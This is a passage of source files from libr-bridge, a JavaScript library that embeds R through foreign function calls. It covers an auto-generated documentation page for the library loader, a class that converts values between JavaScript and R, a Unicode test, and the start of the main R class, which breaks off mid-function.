data-ice="name"><span><a href="class/libr-bridge/SEXPWrap.mjs~SEXPWrap.html">SEXPWrap</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-function">F</span><span data-ice="name"><span><a href="function/index.html#static-function-createLibR">createLibR</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-variable">V</span><span data-ice="name"><span><a href="variable/index.html#static-variable-ComplexInR">ComplexInR</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-variable">V</span><span data-ice="name"><span><a href="variable/index.html#static-variable-ParseStatus">ParseStatus</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-variable">V</span><span data-ice="name"><span><a href="variable/index.html#static-variable-SEXP">SEXP</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-variable">V</span><span data-ice="name"><span><a href="variable/index.html#static-variable-SEXPREC_ALIGN_SIZE">SEXPREC_ALIGN_SIZE</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-variable">V</span><span data-ice="name"><span><a href="variable/index.html#static-variable-SEXPTYPE">SEXPTYPE</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-variable">V</span><span data-ice="name"><span><a href="variable/index.html#static-variable-cetype_t">cetype_t</a></span></span></li> <li data-ice="doc"><a data-ice="dirPath" class="nav-dir-path" href="identifiers.html#test">test</a><span data-ice="kind" class="kind-function">F</span><span data-ice="name"><span><a href="function/index.html#static-function-assert_ext">assert_ext</a></span></span></li> </ul> </div> </nav> <div class="content" data-ice="content"><h1 data-ice="title">libr-bridge/libR.mjs</h1> <pre class="source-code line-number raw-source-code"><code class="prettyprint linenums" data-ice="content">&quot;use strict&quot;; import child_process from &quot;child_process&quot;; import process from &quot;process&quot;; import path from &quot;path&quot;; import ffi from &quot;ffi&quot;; import ref from &quot;ref&quot;; import refArray from &quot;ref-array&quot;; import refStruct from &quot;ref-struct&quot;; import { default as windowsRegistry } from &quot;./safe-windows-registry.js&quot;; import debug_ from &quot;debug&quot;; const debug = debug_(&quot;libr-bridge:libR&quot;); /* Type */ const stringArr = refArray(ref.types.CString); // char * [] or string[] export const SEXP = ref.refType(ref.types.void); export const SEXPREC_ALIGN_SIZE = ref.types.double.size; export const ComplexInR = refStruct({ r: ref.types.double, i: ref.types.double }); /** R SEXP type enums */ export const SEXPTYPE = { NILSXP : 0, /* nil : NULL */ SYMSXP : 1, /* symbols */ LISTSXP : 2, /* lists of dotted pairs */ CLOSXP : 3, /* closures */ ENVSXP : 4, /* environments */ PROMSXP : 5, /* promises: [un]evaluated closure arguments */ LANGSXP : 6, /* language constructs (special lists) */ SPECIALSXP : 7, /* special forms */ BUILTINSXP : 8, /* builtin non-special forms */ CHARSXP : 9, /* &quot;scalar&quot; string type (internal only)*/ LGLSXP : 10, /* logical vectors */ INTSXP : 13, /* integer vectors */ REALSXP : 14, /* real variables */ CPLXSXP : 15, /* complex variables */ STRSXP : 16, /* string vectors */ DOTSXP : 17, /* dot-dot-dot object */ ANYSXP : 18, /* make &quot;any&quot; args work */ VECSXP : 19, /* generic vectors */ EXPRSXP : 20, /* expressions vectors */ BCODESXP : 21, /* byte code */ EXTPTRSXP : 22, /* external pointer */ WEAKREFSXP : 23, /* weak reference */ RAWSXP : 24, /* raw bytes */ S4SXP : 25, /* S4 non-vector */ NEWSXP : 30, /* fresh node creaed in new page */ FREESXP : 31, /* node released by GC */ FUNSXP : 99 /* Closure or Builtin */ }; export const ParseStatus = { PARSE_NULL: 0, PARSE_OK: 1, PARSE_INCOMPLETE: 2, PARSE_ERROR: 3, PARSE_EOF: 4 }; export const cetype_t = { CE_NATIVE : 0, CE_UTF8 : 1, CE_LATIN1 : 2, CE_BYTES : 3, CE_SYMBOL : 5, CE_ANY : 99 }; const apiList = { &quot;CAR&quot;: [SEXP, [SEXP]], &quot;CDR&quot;: [SEXP, [SEXP]], &quot;NAMED&quot;: [&quot;int&quot;, [SEXP]], &quot;R_CHAR&quot;: [&quot;string&quot;, [SEXP]], &quot;R_curErrorBuf&quot;: [&quot;string&quot;, []], &quot;R_NilValue&quot;: [SEXP, []], // &quot;R_ParseEvalString&quot;: [SEXP, [&quot;string&quot;, SEXP]], - I don&apos;t know why, but Windows dll doesn&apos;t have this function. &quot;R_ParseVector&quot;: [SEXP, [SEXP, &quot;int&quot;, &quot;int*&quot;, SEXP]], // SEXP R_ParseVector(SEXP text, int n, ParseStatus *status, SEXP srcfile) &quot;R_PreserveObject&quot;: [&quot;void&quot;, [SEXP]], &quot;R_ReleaseObject&quot;: [&quot;void&quot;, [SEXP]], &quot;R_setStartTime&quot;: [&quot;void&quot;, []], // void R_setStartTime(void); // &quot;R_sysframe&quot;: [SEXP, [&quot;int&quot;, &quot;pointer&quot;]], &quot;R_tryEval&quot;: [SEXP, [SEXP, SEXP, &quot;int*&quot;]], // SEXP R_tryEval(SEXP e, SEXP env, int *ErrorOccurred) &quot;R_tryEvalSilent&quot;: [SEXP, [SEXP, SEXP, &quot;int*&quot;]], // SEXP R_tryEvalSilent(SEXP e, SEXP env, int *ErrorOccurred) &quot;Rf_GetRowNames&quot;: [SEXP, [SEXP]], &quot;Rf_ScalarInteger&quot;: [SEXP, [&quot;int&quot;]], &quot;Rf_ScalarLogical&quot;: [SEXP, [&quot;int&quot;]], &quot;Rf_ScalarReal&quot;: [SEXP, [&quot;double&quot;]], // SEXP ScalarReal(double x) &quot;Rf_allocVector&quot;: [SEXP, [&quot;int&quot;, &quot;int&quot;]], // SEXP Rf_allocVector(SEXPTYPE, int R_xlen_t); &quot;Rf_asChar&quot;: [SEXP, [SEXP]], &quot;Rf_asInteger&quot;: [&quot;int&quot;, [SEXP]], &quot;Rf_asLogical&quot;: [&quot;int&quot;, [SEXP]], &quot;Rf_asReal&quot;: [&quot;double&quot;, [SEXP]], &quot;Rf_cons&quot;: [SEXP, [SEXP, SEXP]], &quot;Rf_defineVar&quot;: [&quot;void&quot;, [SEXP, SEXP, &quot;pointer&quot;]], &quot;Rf_elt&quot;: [SEXP, [SEXP, &quot;int&quot;]], &quot;Rf_endEmbeddedR&quot;: [&quot;void&quot;, [&quot;int&quot;]], // void Rf_endEmbeddedR(int fatal); &quot;Rf_eval&quot;: [SEXP, [SEXP, &quot;int*&quot;]], &quot;Rf_findFun&quot;: [SEXP, [SEXP, SEXP]], // SEXP Rf_findFun(SEXP, SEXP) &quot;Rf_findVar&quot;: [SEXP, [SEXP, SEXP]], // SEXP Rf_findVar(SEXP, SEXP) &quot;Rf_getAttrib&quot;: [SEXP, [SEXP, SEXP]], &quot;Rf_initEmbeddedR&quot;: [&quot;int&quot;, [&quot;int&quot;, stringArr]], // int Rf_initEmbeddedR(int argc, char *argv[]); &quot;Rf_initialize_R&quot;: [&quot;int&quot;, [&quot;int&quot;, stringArr]], &quot;Rf_install&quot;: [SEXP, [&quot;string&quot;]], &quot;Rf_isArray&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isArray(SEXP); &quot;Rf_isComplex&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isComplex(SEXP); &quot;Rf_isExpression&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isExpression(SEXP); &quot;Rf_isFactor&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isFactor(SEXP); &quot;Rf_isFunction&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isFunction(SEXP); &quot;Rf_isInteger&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isInteger(SEXP); &quot;Rf_isList&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isList(SEXP); &quot;Rf_isLogical&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isLogical(SEXP); &quot;Rf_isMatrix&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isMatrix(SEXP); &quot;Rf_isNull&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isNull(SEXP); &quot;Rf_isNumber&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isNumber(SEXP); &quot;Rf_isNumeric&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isNumeric(SEXP); &quot;Rf_isPrimitive&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isPrimitive(SEXP); &quot;Rf_isReal&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isReal(SEXP); &quot;Rf_isS4&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isS4(SEXP); &quot;Rf_isString&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isString(SEXP); &quot;Rf_isValidString&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isValidString(SEXP); &quot;Rf_isVector&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isVector(SEXP); &quot;Rf_isFrame&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isFrame(SEXP); &quot;Rf_isSymbol&quot;: [&quot;int&quot;, [SEXP]], // Rboolean Rf_isSymbol(SEXP); &quot;Rf_lang1&quot;: [SEXP, [SEXP]], &quot;Rf_lang2&quot;: [SEXP, [SEXP, SEXP]], &quot;Rf_lang3&quot;: [SEXP, [SEXP, SEXP, SEXP]], &quot;Rf_lang4&quot;: [SEXP, [SEXP, SEXP, SEXP, SEXP]], &quot;Rf_lang5&quot;: [SEXP, [SEXP, SEXP, SEXP, SEXP, SEXP]], &quot;Rf_lang6&quot;: [SEXP, [SEXP, SEXP, SEXP, SEXP, SEXP, SEXP]], &quot;Rf_lcons&quot;: [SEXP, [SEXP, SEXP]], &quot;Rf_length&quot;: [&quot;int&quot;, [SEXP]], &quot;Rf_lengthgets&quot;: [SEXP, [SEXP]], &quot;Rf_mainloop&quot;: [&quot;void&quot;, []], // void Rf_mainloop(); &quot;Rf_mkChar&quot;: [SEXP, [&quot;string&quot;]], &quot;Rf_mkCharCE&quot;: [SEXP, [&quot;string&quot;, &quot;int&quot;]], &quot;Rf_mkString&quot;: [SEXP, [&quot;string&quot;]], &quot;Rf_protect&quot;: [SEXP, [SEXP]], &quot;Rf_setAttrib&quot;: [SEXP, [SEXP, SEXP, SEXP]], &quot;Rf_setVar&quot;: [SEXP, [SEXP, SEXP, SEXP]], &quot;Rf_translateCharUTF8&quot;: [&quot;string&quot;, [SEXP]], // const char* Rf_translateCharUTF8(SEXP x) &quot;Rf_unprotect&quot;: [&quot;void&quot;, [&quot;int&quot;]], &quot;SET_NAMED&quot;: [&quot;void&quot;, [SEXP, &quot;int&quot;]], &quot;SET_STRING_ELT&quot;: [SEXP, [SEXP, &quot;int&quot;, SEXP]], // memory.c &quot;SET_TAG&quot;: [&quot;void&quot;, [SEXP, SEXP]], &quot;STRING_ELT&quot;: [SEXP, [SEXP, &quot;int&quot;]], // memory.c &quot;STRING_PTR&quot;: [&quot;pointer&quot;, [SEXP]], // memory.c &quot;ALTVEC_DATAPTR&quot;: [&quot;pointer&quot;, [SEXP]], &quot;STDVEC_DATAPTR&quot;: [&quot;pointer&quot;, [SEXP]], &quot;DATAPTR&quot;: [&quot;pointer&quot;, [SEXP]], &quot;TAG&quot;: [SEXP, [SEXP]], &quot;TYPEOF&quot;: [&quot;int&quot;, [SEXP]], &quot;VECTOR_ELT&quot;: [SEXP, [SEXP, &quot;int&quot;]], &quot;ptr_R_Busy&quot;: [&quot;pointer&quot;, undefined], // void R_Busy (int which) &quot;ptr_R_ShowMessage&quot;: [&quot;pointer&quot;, undefined], // void R_ShowMessage(const char *s) &quot;ptr_R_ReadConsole&quot;: [&quot;pointer&quot;, undefined], // int R_ReadConsole(const char *prompt, unsigned char *buf, int len, int addtohistory); &quot;ptr_R_WriteConsole&quot;: [&quot;pointer&quot;, undefined], // void R_WriteConsole(const char *buf, int len) &quot;ptr_R_WriteConsoleEx&quot;: [&quot;pointer&quot;, undefined], // void R_WriteConsoleEx(const char *buf, int len, int otype) &quot;R_GlobalEnv&quot;: [SEXP, undefined], &quot;R_NaString&quot;: [SEXP, undefined], &quot;R_BlankString&quot;: [SEXP, undefined], //&quot;R_IsNA&quot;: [&quot;int&quot;, [ieee_double]], // Rboolean R_IsNA(double); //&quot;R_IsNaN&quot;: [&quot;int&quot;, [ieee_double]], // Rboolean R_IsNaN(double); }; var libR = undefined; /** * Load libR from appropriate place. * @constructor * @param r_path &quot;auto&quot; (default) || &quot;environment&quot; || &quot;system&quot; || &quot;buildin&quot; || path to R_HOME * &quot;auto&quot; - try &quot;environment&quot; -&gt; &quot;system&quot; -&gt; &quot;buildin&quot; * &quot;environment&quot; - use environmental R_HOME and LD_LIBRARY_PATH. libr-bridge handles nothing. * &quot;system&quot; - find system installed R * &quot;buildin&quot; - (NOT IMPLEMENTED) use redistributed binary attached with libr-bridge-bin * @returns libR object which enables access to dynamic link library. */ export default function createLibR(r_path = &quot;auto&quot;){ if(libR !== void 0){ return libR; } debug(`creating libR: ${r_path}`); if(r_path == &quot;auto&quot;){ try{ libR = createLibR(&quot;environment&quot;); }catch(e){ try{ libR = createLibR(&quot;system&quot;); }catch(e){ try{ libR = createLibR(&quot;buildin&quot;); }catch(e){ throw new Error(&quot;R not found. Please specify path manually.&quot;); } } } }else if(r_path == &quot;environment&quot;){ // use environmental R_HOME if(process.env.R_HOME !== void 0){ libR = createLibR(process.env.R_HOME); } }else if(r_path == &quot;system&quot;){ let my_path; try { if (process.platform == &quot;win32&quot;) { const windef = windowsRegistry.windef; let k; try { k = new windowsRegistry.Key(windef.HKEY.HKEY_LOCAL_MACHINE, &quot;SOFTWARE\\R-core\\R&quot;, windef.KEY_ACCESS.KEY_READ); }catch(e){ debug(&quot;No key in HLM, finding HCU.&quot;); k = new windowsRegistry.Key(windef.HKEY.HKEY_CURRENT_USER, &quot;SOFTWARE\\R-core\\R&quot;, windef.KEY_ACCESS.KEY_READ); } my_path = k.getValue(&quot;InstallPath&quot;); k.close(); }else{ const ret = child_process.execSync(&quot;Rscript -e \&quot;cat(Sys.getenv(&apos;R_HOME&apos;))\&quot;&quot;); my_path = ret.toString(); } libR = createLibR(my_path); }catch(e){ debug(&quot;Loading system R failure: &quot; + e); throw new Error(&quot;Couldn&apos;t load installed R (RScript not found or bad registry)&quot;); } }else if(r_path == &quot;buildin&quot;){ throw new Error(&quot;NOT IMPLEMENTED.&quot;); }else if(r_path == &quot;&quot;){ throw new Error(&quot;Please specify installed R.&quot;); }else{ // assuming path of installed R is specified. const delim = path.delimiter; if(r_path.slice(-1) == path.sep) r_path = r_path.slice(0, -1); // remove trailing &quot;/&quot; (or &quot;\&quot;) process.env.R_HOME = r_path; if (process.platform == &quot;win32&quot;) { process.env.PATH = `${r_path}\\bin\\x64${delim}` + process.env.PATH; libR = ffi.Library(`${r_path}\\bin\\x64\\R.dll`, apiList); }else{ process.env.LD_LIBRARY_PATH = `${r_path}${delim}${r_path}/lib${delim}` + process.env.LD_LIBRARY_PATH; process.env.DYLD_LIBRARY_PATH = `${r_path}${delim}${r_path}/lib${delim}` + process.env.DYLD_LIBRARY_PATH; libR = ffi.Library(&quot;libR&quot;, apiList); } } if(libR == undefined){ throw new Error(&quot;Couldn&apos;t read libR&quot;); } return libR; } /* * vim: filetype=javascript */ </code></pre> </div> <footer class="footer"> Generated by <a href="https://esdoc.org">ESDoc<span data-ice="esdocVersion">(1.1.0)</span><img src="./image/esdoc-logo-mini-black.png"></a> </footer> <script src="script/search_index.js"></script> <script src="script/search.js"></script> <script src="script/pretty-print.js"></script> <script src="script/inherited-summary.js"></script> <script src="script/test-summary.js"></script> <script src="script/inner-link.js"></script> <script src="script/patch-for-local.js"></script> </body> </html> <file_sep>"use strict"; import util from "util"; import ref from "ref"; import Complex from "Complex"; import R from "./R"; import {SEXPTYPE, ComplexInR, cetype_t} from "./libR"; import { RFactor, RDataFrame, RArray, RBoolArray, RStrArray, RIntArray, RRealArray, RComplexArray } from "./RObject"; import debug_ from "debug"; const debug = debug_("libr-bridge:class SEXPWrap"); var sexpSize = void 0; export default class SEXPWrap { constructor(value){ if(value instanceof Buffer){ // This may be SEXP! this.sexp = value; }else{ this.__initializeWithValue(value); } } toString(){ return "[SEXP]"; } /** * Initialize this instance with specified value. * @private */ __initializeWithValue(value){ if(value === []){ debug("[]: " + value); } if(value instanceof RDataFrame){ /* it is ok. */ }else if(!Array.isArray(value)){ // not an array. // convert to array and try again. // (You can use Rf_mkString, Rf_ScalarReal, Rf_ScalarLogical if you don't want SEXPWrap) return this.__initializeWithValue([value]); }else if(value.length === 0){ this.sexp = R.R_NilValue; }else if(!(value instanceof RArray)){ // Javascript normal array. (not RArray) // Need to determine type of array. if(typeof(value[0]) === "number" || value[0] === void 0){ value = RRealArray.of(...value); }else if(typeof(value[0]) === "boolean"){ value = RBoolArray.of(...value); }else if(typeof(value[0]) === "string"){ value = RStrArray.of(...value); }else if(value[0] instanceof Complex){ value = RComplexArray.of(...value); }else{ debug("Cannot recognize " + typeof(value[0])); debug("value is: " + value); throw new Error("Unknown type of array."); } } if(value instanceof RFactor || value instanceof RIntArray){ // Check if RFactor is proxy (asString) if(value instanceof RFactor && util.types.isProxy(value)){ value = value["Unproxy"]; } // Factor is actually an 1-origin integers with attributes. this.sexp = R.libR.Rf_allocVector(SEXPTYPE.INTSXP, value.length); this.protect(); let p = ref.reinterpret(this.dataptr(), ref.types.int.size * value.length); value.map((e, i) => { ref.set( p, ref.types.int.size * i, e === void 0 ? R.R_NaInt : e, ref.types.int ); }); if(value instanceof RFactor){ // add atribute this.setAttribute("class", value.ordered ? ["factor", "ordered"] : "factor"); this.setAttribute("levels", value.levels); } this.unprotect(); }else if(value instanceof RRealArray){ // assume this is array of numbers (e.g. [1, 2, 3, ...]) this.sexp = R.libR.Rf_allocVector(SEXPTYPE.REALSXP, value.length); this.protect(); let p = ref.reinterpret(this.dataptr(), ref.types.double.size * value.length); value.map((e, i) => { ref.set(p, ref.types.double.size * i, 1.0 * e /* convert to double */, ref.types.double); }); // Find NA and set 1954. (sizeof(double) = sizeof(int) * 2) p = ref.reinterpret(this.dataptr(), ref.types.int.size * 2 * value.length); value.map((e, i) => { if(e === void 0){ ref.set(p, ref.types.int.size * i * 2, 1954, ref.types.int); } }); this.unprotect(); }else if(value instanceof RBoolArray){ // assume this is array of boolean (e.g. [false, true, true, ...]) // to handle NA, we use int instead of bool. this.sexp = R.libR.Rf_allocVector(SEXPTYPE.LGLSXP, value.length); this.protect(); let p = ref.reinterpret(this.dataptr(), ref.types.int.size * value.length); value.map((e, i) => { const value = e === void 0 ? R.R_NaInt : ( e ? 1 : 0 ); ref.set(p, ref.types.int.size * i, value, ref.types.int); }); this.unprotect(); }else if(value instanceof RStrArray){ // assuming this is array of strings (e.g. ["abc", "def", ...]) this.sexp = R.libR.Rf_allocVector(SEXPTYPE.STRSXP, value.length); this.protect(); value.map((e, i) => { if(e !== void 0){ R.libR.SET_STRING_ELT(this.sexp, i, R.libR.Rf_mkCharCE(e, cetype_t.CE_UTF8)); }else{ R.libR.SET_STRING_ELT(this.sexp, i, R.R_NaString.sexp); } }); this.unprotect(); }else if(value instanceof RComplexArray){ this.sexp = R.libR.Rf_allocVector(SEXPTYPE.CPLXSXP, value.length); this.protect(); let p = ref.reinterpret(this.dataptr(), ComplexInR.size * value.length); value.map( (e) => new ComplexInR({r: e.real, i: e.im})).map( (e, i) => { ref.set(p, ComplexInR.size * i, e, ComplexInR); }); this.unprotect(); }else if(value instanceof RDataFrame){ let dfitem_sexp = []; for (var [k, v] of value){ const v_sexp = new SEXPWrap(v); v_sexp.protect(); v_sexp.argtag = k; dfitem_sexp.push(v_sexp); } const false_sexp = new SEXPWrap(false); false_sexp.protect(); false_sexp.argtag = "stringsAsFactors"; dfitem_sexp.push(false_sexp); const r = new R(); const dataFrame = r.func_raw("data.frame"); const df_sexp = dataFrame(...dfitem_sexp); df_sexp.protect(); for (const item in value){ df_sexp[item].unprotect(); } false_sexp.unprotect(); this.sexp = df_sexp.sexp; df_sexp.unprotect(); }else{ console.log("Cannot convert " + typeof(value) + " in JavaScript to R SEXP / " + value); } } /** Protect this SEXP */ protect(){ R.libR.Rf_protect(this.sexp); } /** Unprotect SEXPs */ static unprotect(depth=1){ R.libR.Rf_unprotect(depth); } unprotect(depth=1){ R.libR.Rf_unprotect(depth); } /** Preserve this SEXP. Please use protect() if you can. */ preserve(){ R.libR.R_PreserveObject(this.sexp); } /** Release preserved SEXP. protect()ed SEXP should be released with unprotect() */ release(){ R.libR.R_ReleaseObject(this.sexp); } /** Return true if this SEXP is List. */ isList(){ return R.libR.Rf_isList(this.sexp); } /** Return true if this SEXP is Vector. Please note single scalar value in R is vector. */ isVector(){ return R.libR.Rf_isVector(this.sexp); } /** Return the length of vector. */ length(){ return R.libR.Rf_length(this.sexp); } /** Return true if this SEXP is null. */ isNull(){ return R.libR.Rf_isNull(this.sexp); } isComplex(){ return R.libR.Rf_isComplex(this.sexp); } isExpression(){ return R.libR.Rf_isExpression(this.sexp); } isInteger(){ return R.libR.Rf_isInteger(this.sexp); } isLogical(){ return R.libR.Rf_isLogical(this.sexp); } isReal(){ return R.libR.Rf_isReal(this.sexp); } isValidString(){ return R.libR.Rf_isValidString(this.sexp); } isFactor(){ return R.libR.Rf_isFactor(this.sexp); } isFrame(){ return R.libR.Rf_isFrame(this.sexp); } isSymbol(){ return R.libR.Rf_isSymbol(this.sexp); } isFunction(){ return R.libR.Rf_isFunction(this.sexp); } dataptr(){ return R.libR.DATAPTR(this.sexp); } getType(){ return R.libR.TYPEOF(this.sexp); } asChar(){ if(this.sexp.address() == R.R_NaString.sexp.address()){ return void 0;} if(this.sexp.address() == R.R_BlankString.sexp.address()){ return "";} return R.libR.Rf_translateCharUTF8(R.libR.Rf_asChar(this.sexp)).slice(); } /** Return sizeof(SEXP) in byte. */ get SEXPSize(){ console.log("!!!"); if(sexpSize === void 0){ const intSEXP = new SEXPWrap(0); sexpSize = intSEXP.dataptr().address() - intSEXP.sexp.address(); } return sexpSize; } get names(){ let names = new SEXPWrap(R.libR.Rf_getAttrib(this.sexp, R.R_NamesSymbol)); return names.isNull() ? undefined : names.getValue(); } set names(newtag){ if (newtag === void 0) return; R.libR.Rf_setAttrib(this.sexp, R.R_NamesSymbol, (new SEXPWrap(newtag)).sexp); } /** set attr of this variable. */ setAttribute(attrname, newattr){ const attrsymbol = R.libR.Rf_install(attrname); R.libR.Rf_setAttrib(this.sexp, attrsymbol, (new SEXPWrap(newattr)).sexp); } /** get attr of this variable. */ getAttribute(attrname){ const attrvalue = new SEXPWrap(this._getAttribute_raw(attrname)); return attrvalue.getValue(); } /** get attr SEXP of this variable. */ _getAttribute_raw(attrname){ const attrsymbol = R.libR.Rf_install(attrname); return R.libR.Rf_getAttrib(this.sexp, attrsymbol); } getValue(){ if(this.sexp.address() == 0 || this.isNull()){ return null; } const len = this.length(); if(len == 0){ return []; }if(this.isList()){ // TODO: support this /* let v = this.sexp; return R.range(0, len).map( (e) => { let a = R.libR.CAR(v); v = R.libR.CDR(v); return this._getValue_scalar(a); });*/ console.log("LIST NOT SUPPORTED"); return undefined; }else if(this.isFrame()){ // DataFrame is Vector of vectors. const names = this.names; const values = new Map(); R.range(0, len).map( (i) => { const px = new SEXPWrap(R.libR.VECTOR_ELT(this.sexp, i)); values.set(names[i], px.getValue()); }); return values; }else if(this.isVector()){ // be careful; is.vector(1) is even True let itemtype; let values = []; if(this.isInteger() || this.isLogical() || this.isFactor()){ itemtype = ref.types.int; const f = this.isLogical() ? (e) => !!e : (e) => e; const p = ref.reinterpret(this.dataptr(), itemtype.size * len); values = R.range(0, len).map( (i) => ref.get(p, itemtype.size * i, itemtype) ) .map( (e) => e == R.R_NaInt ? undefined : f(e)); if(this.isFactor()){ const levels = this.getAttribute("levels"); const class_ = this.getAttribute("class"); const isOrdered = Array.isArray(class_) && class_.indexOf("ordered") !== -1; values = new RFactor(values.map((v) => levels[v - 1]), levels, isOrdered); } }else if(this.isReal()){ itemtype = ref.types.double; const p = ref.reinterpret(this.dataptr(), itemtype.size * len); values = R.range(0, len).map( (i) => ref.get(p, itemtype.size * i, itemtype) ); /* Discriminate NA from NaN (1954; the year <NAME> was born) */ /* see main/arithmetic.c for detail. */ itemtype = ref.types.uint; const q = ref.reinterpret(this.dataptr(), itemtype.size * len * 2); R.range(0, len).map( (i) => { if(isNaN(values[i])){ if(ref.get(q, itemtype.size * i * 2, itemtype) == 1954) values[i] = undefined; } }); }else if(this.isComplex()){ itemtype = ComplexInR; const p = ref.reinterpret(this.dataptr(), itemtype.size * len); values = R.range(0, len).map( (i) => ref.get(p, itemtype.size * i, itemtype)) .map( (e) => new Complex(e.r, e.i)); }else if(this.isValidString()){ values = R.range(0, len).map((i) => R.libR.STRING_ELT(this.sexp, i)) .map((e) => { const s = new SEXPWrap(e); return s.asChar(); }); }else if(this.isExpression()){ debug("getValue() for RExpression"); values = ["(R Expression)"]; }else{ values = ["Unsupported vector item!"]; } return values.length == 1 ? values[0] : values; }else if(this.isSymbol()){ return "[R Symbol]"; }else if(this.isFunction()){ return "[R Function]"; }else{ switch(this.getType()){ case 5: debug("Promissed value: Get before evaluation"); return "[Promiss: Unevaluated value]"; default: debug("Unknown type: " + this.getType()); return "[unknown type]"; } } } _getValue_scalar(sexp){ // 'Number' includes complex, 'Vector' includes Array and Matrix if(R.libR.Rf_isInteger(sexp)){ return R.libR.Rf_asInteger(sexp); }else if(R.libR.Rf_isNumeric(sexp)){ return R.libR.Rf_asReal(sexp); }else if(R.libR.Rf_isValidString(sexp)){ return R.libR.Rf_translateCharUTF8(R.libR.Rf_asChar(sexp)).slice(); }else{ return "SEXPWRAP: unknown SEXP Type"; } } } /* * vim: filetype=javascript */ <file_sep>import R from "../R"; import assert from "assert"; import assert_ext from "./assert_ext"; var r; assert_ext(assert); describe("Initialize", () => { it("Initialize", () => { r = new R(); }); }); describe("Unicode", () => { it("Variable and value", () => { r.setVar("挨拶", "こんにちわ"); assert.equal(r.getVar("挨拶"), "こんにちわ"); }); }); /* * vim: filetype=javascript */ <file_sep>"use strict"; import R from "./R"; export default R; <file_sep>"use strict"; /** * @file libr-bridge: Bridging module between JavaScript and R * @author TAKAHASHI, Kyohei <<EMAIL>> * @version XXXX */ import ref from "ref"; import ffi from "ffi"; import createLibR, {ParseStatus} from "./libR"; import SEXPWrap from "./SEXPWrap"; import debug_ from "debug"; const debug = debug_("libr-bridge:class R"); let R_isInitialized = false; let R_GlobalEnv = undefined; let func_cached = {}; let libR = undefined; /** * Class for accessing R via libR. */ export default class R{ /** * Constructor function for class R */ constructor(){ if(!R.isInitialized()){ debug("Initializing R..."); const argv = ["REmbeddedOnBridge", "--vanilla", "--gui=none", "--silent"]; libR = createLibR(); if(libR === void 0){ debug("Failed to initialize"); throw new "R initialization failed."; } libR.Rf_initEmbeddedR(argv.length, argv); libR.R_setStartTime(); /* Initialize values */ R_GlobalEnv = new SEXPWrap(libR.R_GlobalEnv.deref()) ; //new SEXPWrap(libR.R_sysframe(0, ref.NULL)); // R_GlobalEnv.preserve(); R.R_NilValue = libR.Rf_GetRowNames(R.GlobalEnv); // passing non vector returns Nil if(!(new SEXPWrap(R.R_NilValue)).isNull()){ throw new Error("Can not acquire NilValue"); } R.R_UnboundValue = libR.Rf_findVar(libR.Rf_install("__non_existing_value_kcrt__"), R.GlobalEnv); R.R_NamesSymbol = libR.Rf_install("names"); R.R_NaInt = this.eval("as.integer(NA)"); // usually INT_MIN (-2147483648) //R.R_NaString = new SEXPWrap(libR.STRING_ELT(this.eval_raw("as.character(NA)").sexp, 0)); R.R_NaString = new SEXPWrap(libR.R_NaString.deref()); R.R_BlankString = new SEXPWrap(libR.R_BlankString.deref()); R_isInitialized = true; } this.__initializeRfunc(); } /** * Load some R functions. * Please do not call manually. * @private */ __initializeRfunc(){ let funclist = ["print", "require", "mean", "cor", "var", "sd", "sqrt", "IQR", "min", "max", "range", "fisher.test", "t.test", "wilcox.test", "prop.test", "var.test", "p.adjust", "sin", "cos", "tan", "sum", "c", "is.na", "is.nan", "write.csv", "data.frame"]; funclist.map((e) => {this[e] = this.func(e);}); } /** * Check whether R class is globally initialized or not. * @return {boolean} Returns true if R is already loaded. */ static isInitialized(){ return R_isInitialized; } /** * Acquire global environment in R. * @return {boolean} SEXP of global environment. */ static get GlobalEnv(){ return R_GlobalEnv.sexp; } /** * Initialized libR object for accessing R. * @return {Object} libR */ static get libR() { return libR; } /** * Acquire bridging function to access R function. * Functions receive JavaScript value, and returns JavaScript compatible objects. * @param {string} name name of R function * @return {function} Bridging function * @example * const sum = R.func("sum") * console.log(sum([1, 2, 3])) // prints 6 */ func(name){ return this.__RFuncBridge.bind(this, this.__func_sexp(name)); } /** * Acquire bridging function to access R function. * This function doesn't convert to/from SEXP. * Receives SEXPWrap, and returns SEXPWrap. Please use carefully. * @param {string} name name of R function * @return {function} Bridging function * @see {@link R#func} */ func_raw(name){ return this.__RFuncBridge_raw.bind(this, this.__func_sexp(name)); } /** * Find functions in R environment. * Please do not call this function manually. * @private * @param {string} name name of function * @return {SEXPWrap} SEXPWrap object of R function */ __func_sexp(name){ if(!(name in func_cached)){ const func_sexp = libR.Rf_findFun(libR.Rf_install(name), R.GlobalEnv); func_cached[name] = new SEXPWrap(func_sexp); func_cached[name].preserve(); // Unfortunately, we have no destructor in JavaScript.... } return func_cached[name]; } /** * Bridging function for R function. * This bridging function doesn't handle SEXP. * Please do not call this function manually. * @private * @param {function} _func SEXPWrap object of R function * @return {SEXPWrap} SEXPWrap object of returned value */ __RFuncBridge_raw(_func){ // Function name with "raw" receives SEXP, and returns SEXP let lang; R.range(0, arguments.length).reverse().map((i) => { if(lang === void 0){ lang = new SEXPWrap(libR.Rf_lcons(arguments[i].sexp, 